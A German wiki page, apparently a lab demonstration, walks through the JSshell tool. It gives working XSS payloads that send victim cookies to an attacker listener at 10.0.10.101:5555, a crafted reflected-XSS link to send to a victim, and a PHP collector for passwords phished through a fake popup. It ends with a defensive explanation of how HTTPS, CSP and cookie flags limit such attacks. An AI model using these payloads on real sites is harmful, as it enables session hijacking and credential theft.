Jsshell: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 31: Zeile 31:
 
*Payload muss ins Eingabefeld
 
*Payload muss ins Eingabefeld
 
=Generierter Link=
 
=Generierter Link=
*http://opfer.secure.local/scripts/xss-reflected.php?name=%3Cscript%3EsetInterval%28function%28%29%7Bwith%28document%29body.appendChild%28createElement%28%22script%22%29%29.src%3D%22%2F%2F10.0.10.101%3A5555%2F%3F%22%2Bdocument.cookie%7D%2C1010%29%3C%2Fscript%3E#
+
*http://opfer.sec-labs.de/scripts/xss-reflected.php?name=%3Cscript%3EsetInterval%28function%28%29%7Bwith%28document%29body.appendChild%28createElement%28%22script%22%29%29.src%3D%22%2F%2F10.0.10.101%3A5555%2F%3F%22%2Bdocument.cookie%7D%2C1010%29%3C%2Fscript%3E#
 
*Generierter Link wird zum Opfer geschickt
 
*Generierter Link wird zum Opfer geschickt
  

Version vom 4. Februar 2026, 13:26 Uhr

Vorarbeiten zum Demonstrieren

Opfer-Browser vorbereiten

about:config
  • security.mixed_content.block_active_content
    • false
  • security.mixed_content.block_display_content
    • false
  • security.fileuri.strict_origin_policy
    • false

git clone

start

  • ./jsh.py -g -p 5555 -s 10.0.10.101
    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v3.1 

Payloads:  
 - SVG: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
 - SCRIPT: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)</script>
 - IMG: <img src=x onerror=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
 - BODY: <body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie}></body>

Listening on [any] 5555 for incoming JS shell ...

Payload

  • Payload muss ins Eingabefeld

Generierter Link

Die Shell

Listening on [any] 5555 for incoming JS shell ...
Got JS shell from [10.0.10.101] port 53146 to orville 5555
>>> 

Lebenszeichen

  • confirm('JSshell live')
Erwartung

Popup erscheint im Opfer-Browser.

Seite sichtbar verändern

  • document.body.style.background='red'
Erwartung

Hintergrund der Opferseite wird rot.

Text einblenden

  • document.body.innerHTML='OWNED'
Erwartung

Opferseite zeigt nur noch OWNED.

Aktuelle URL anzeigen

  • confirm(document.location.href)
Erwartung

Popup mit der aktuell aufgerufenen Opfer-URL.

Cookie anzeigen (falls vorhanden)

  • confirm(document.cookie)
Erwartung

Popup mit Cookie-Inhalt oder leerer String.



Passwörter klauen

Auf Kali

Apache + PHP installieren
  • apt update
  • apt install -y apache2 php libapache2-mod-php
Apache starten
  • systemctl enable --now apache2
Sammler anlegen
  • cat /var/www/html/recv.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$pw = $_GET['pw'] ?? '';

file_put_contents(
  __DIR__ . '/CollectedSessions.txt',
  $pw . PHP_EOL,
  FILE_APPEND
);
?>
  • chmod 644 /var/www/html/recv.php
  • touch /var/www/html/CollectedSessions.txt
  • chmod 666 /var/www/html/CollectedSessions.txt

Test ohne Browser

Die Shell

Listening on [any] 5555 for incoming JS shell ...
Got JS shell from [Victim-IP] port XXXXX to kali 5555
>>> 
Passwort abfragen und senden

Beim Opfer

Popup erscheint, Benutzer gibt Passwort ein.

Auf Kali

  • tail -f /var/www/html/CollectedSessions.txt
Erwartung

Passwörter erscheinen zeilenweise in der Datei.

HTTPS und XSS – technische Erklärung

Grundsatz

HTTPS verhindert keine XSS-Schwachstelle. HTTPS beeinflusst ausschließlich, was ein Browser nachladen und ausführen darf.

Mixed Content

Wird eine Seite über HTTPS ausgeliefert, blockiert der Browser standardmäßig das Nachladen aktiver Inhalte über HTTP.

Aktiver Inhalt
  • JavaScript
  • externe Skripte
  • dynamisch erzeugte <script>-Tags
Beispiel

<script src="http://10.0.10.101:5555/"></script>

Ergebnis

Das Script wird nicht geladen. Der XSS-Payload selbst wird ausgeführt, die Eskalation scheitert.

Konsequenz für XSS

  • Inline-JavaScript (alert, confirm, DOM-Manipulation) funktioniert
  • Externes JavaScript über HTTP wird blockiert
  • Werkzeuge wie JSshell funktionieren nicht mehr

Warum Browser so handeln

Aktiver Mixed Content erlaubt einem Angreifer, den verschlüsselten Kontext (HTTPS) zu unterlaufen. Deshalb wird er ohne Nachfrage blockiert.

HTTPS mit externem JavaScript

Externes JavaScript funktioniert nur, wenn:

  • die Quelle ebenfalls HTTPS nutzt
  • das Zertifikat gültig ist
  • keine weiteren Einschränkungen greifen

Zusammenspiel mit CSP

In realen Umgebungen wird HTTPS fast immer mit CSP kombiniert.

Beispiel

Content-Security-Policy: script-src 'self';

Wirkung
  • Inline-JavaScript ggf. erlaubt
  • Externe Skripte grundsätzlich verboten
  • Dynamisches Nachladen per XSS wirkungslos

Cookies und HTTPS

HTTPS führt häufig zu zusätzlichen Cookie-Flags:

  • Secure
  • SameSite
  • HttpOnly

Diese erschweren Session-Diebstahl, ändern aber nichts an der Existenz einer XSS.

Technisches Fazit

HTTPS beseitigt keine XSS-Schwachstelle. HTTPS begrenzt die Auswirkungen, insbesondere das Nachladen fremden JavaScripts.


Links